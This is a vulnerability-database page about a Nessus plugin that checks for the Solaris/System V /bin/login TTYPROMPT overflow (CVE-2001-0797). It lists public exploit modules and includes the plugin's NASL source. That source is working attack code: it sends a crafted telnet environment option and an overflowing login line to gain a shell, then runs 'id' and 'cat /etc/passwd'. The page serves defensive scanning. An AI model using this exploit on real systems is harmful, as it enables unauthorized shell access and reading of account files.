Multiple OS /bin/login Remote Overflow - Nessus

Critical Plugin ID: 11136

This page contains detailed information about the Multiple OS /bin/login Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 11136
Name: Multiple OS /bin/login Remote Overflow
Filename: ttyprompt.nasl
Vulnerability Published: 2001-12-12
This Plugin Published: 2002-10-03
Last Modification Time: 2018-08-01
Plugin Version: 1.27
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: find_service1.nasl

Vulnerability Information

Severity: Critical
Vulnerability Published: 2001-12-12
Patch Published: N/A
CVE [?]: CVE-2001-0797
CPE [?]: N/A
Exploited by Malware: True

Synopsis

It is possible to execute arbitrary commands on the remote host.

Description

The remote implementation of the /bin/login utility, used when authenticating a user via telnet or rsh contains an overflow which allows an attacker to gain a shell on this host, without even sending a shell code.

An attacker may use this flaw to log in as any user (except root) on the remote host.

Solution

Contact the vendor for a patch.

Public Exploits

Target Network Port(s): 23
Target Asset(s): Services/telnet
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple OS /bin/login Remote Overflow vulnerability:

Metasploit: exploit/solaris/telnet/ttyprompt
[Solaris in.telnetd TTYPROMPT Buffer Overflow]
Metasploit: exploit/dialup/multi/login/manyargs
[System V Derived /bin/login Extraneous Arguments Buffer Overflow]
Exploit-DB: exploits/solaris/remote/716.c
[EDB-716: Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow]
Exploit-DB: exploits/solaris/remote/9917.rb
[EDB-9917: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (1) (Metasploit)]
Exploit-DB: exploits/solaris/remote/10036.rb
[EDB-10036: System V Derived /bin/login - Extraneous Arguments Buffer Overflow (modem based) (Metasploit)]
Exploit-DB: exploits/solaris/remote/16327.rb
[EDB-16327: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (2) (Metasploit)]
Exploit-DB: exploits/linux/remote/16928.rb
[EDB-16928: System V Derived /bin/login - Extraneous Arguments Buffer Overflow (Metasploit)]
GitHub: https://github.com/0xdea/exploits
[CVE-2001-0797]
GitHub: https://github.com/Whonix/security-misc
[CVE-2001-0797]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.7 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.7 (High)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#  

include("compat.inc");

if (description)
{
 script_id(11136);
 script_version("1.27");
 script_cvs_date("Date: 2018/08/01 17:36:12");

 script_cve_id("CVE-2001-0797");
 script_bugtraq_id(3681, 5848);
 script_xref(name:"CERT-CC", value:"CA-2001-34");

 script_name(english:"Multiple OS /bin/login Remote Overflow");
 script_summary(english:"Attempts to log into the remote host");
 
 script_set_attribute(attribute:"synopsis", value:"It is possible to execute arbitrary commands on the remote host.");
 script_set_attribute(attribute:"description", value:
"The remote implementation of the /bin/login utility, used when
authenticating a user via telnet or rsh contains an overflow which
allows an attacker to gain a shell on this host, without even sending a
shell code. 

An attacker may use this flaw to log in as any user (except root) on the
remote host.");
 script_set_attribute(attribute:"solution", value:"Contact the vendor for a patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Solaris in.telnetd TTYPROMPT Buffer Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');

 script_set_attribute(attribute:"vuln_publication_date", value:"2001/12/12");
 script_set_attribute(attribute:"plugin_publication_date", value:"2002/10/03");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 # It might cause problem on some systems
 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
 script_family(english:"Gain a shell remotely");
 script_dependencie("find_service1.nasl");
 script_require_ports("Services/telnet", 23);
 exit(0);
}

include("data_protection.inc");

global_var soc;

function init()
{
 local_var c, i, lim, r, s;

 send(socket:soc, data:raw_string(
 	0xFF, 252, 0x25,
	0xFF, 254, 0x26,
	0xFF, 252, 0x26,
	0xFF, 254, 0x03,
	0xFF, 252, 0x18,
	0xFF, 252, 0x1F,
	0xFF, 252, 0x20,
	0xFF, 252, 0x21,
	0xFF, 252, 0x22,
	0xFF, 0xFB, 0x27,
	0xFF, 254, 0x05,
	0xFF, 252, 0x23));
 r = recv(socket:soc, length:30);
 lim = strlen(r);
 for(i=0;i<lim - 2;i=i+3)
 {
  if(!(ord(r[i+2]) == 0x27))
  {
  if(ord(r[i+1]) == 251) c = 254;
  if(ord(r[i+1]) == 252) c = 254;
  if(ord(r[i+1]) == 253) c = 252;
  if(ord(r[i+1]) == 254) c = 252;
  
  s = raw_string(ord(r[i]), c, ord(r[i+2]));
  send(socket:soc, data:s);
  }
 }
 
 
 send(socket:soc, data:raw_string(0xFF, 0xFC, 0x24));
 
 
 r = recv(socket:soc, length:300);
 
 send(socket:soc, data:raw_string(0xFF, 0xFA, 0x27, 0x00, 0x03, 0x54, 0x54, 0x59, 0x50, 0x52, 0x4F, 0x4D, 0x50, 0x54, 0x01, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0xFF, 0xF0));
}

port = get_kb_item("Services/telnet");
if(!port)port = 23;

if(!get_port_state(port))exit(0);

soc = open_sock_tcp(port);

if(soc)
{
  buf = init();
  send(socket:soc, data:string("bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\r\n"));
  r = recv(socket:soc, length:4096);
  if(!r)exit(0);
  send(socket:soc, data:string("id\r\n"));
  r = recv(socket:soc, length:1024);
  if("uid=" >< r){
   send(socket:soc, data:string("cat /etc/passwd\r\n"));
   r = recv(socket:soc, length:4096);
   r = data_protection::redact_etc_passwd(output:r);
   report = string("Here is the output of the command 'cat /etc/passwd' :\n", r);
   security_hole(port:port, extra:report);
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/ttyprompt.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\ttyprompt.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/ttyprompt.nasl

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How to Run

Here is how to run the Multiple OS /bin/login Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Gain a shell remotely plugin family.
On the right side table select Multiple OS /bin/login Remote Overflow plugin ID 11136.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ttyprompt.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ttyprompt.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ttyprompt.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ttyprompt.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

3681, 5848

CERT-CC | CERT Coordination Center:

CA-2001-34

See also:

Similar and related Nessus plugins:

10828 - SysV /bin/login Environment Remote Overflow (rlogin)
10827 - SysV /bin/login Environment Remote Overflow (telnet check)
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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ttyprompt.nasl version 1.27. For more plugins, visit the Nessus Plugin Library.

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Multiple OS /bin/login Remote Overflow - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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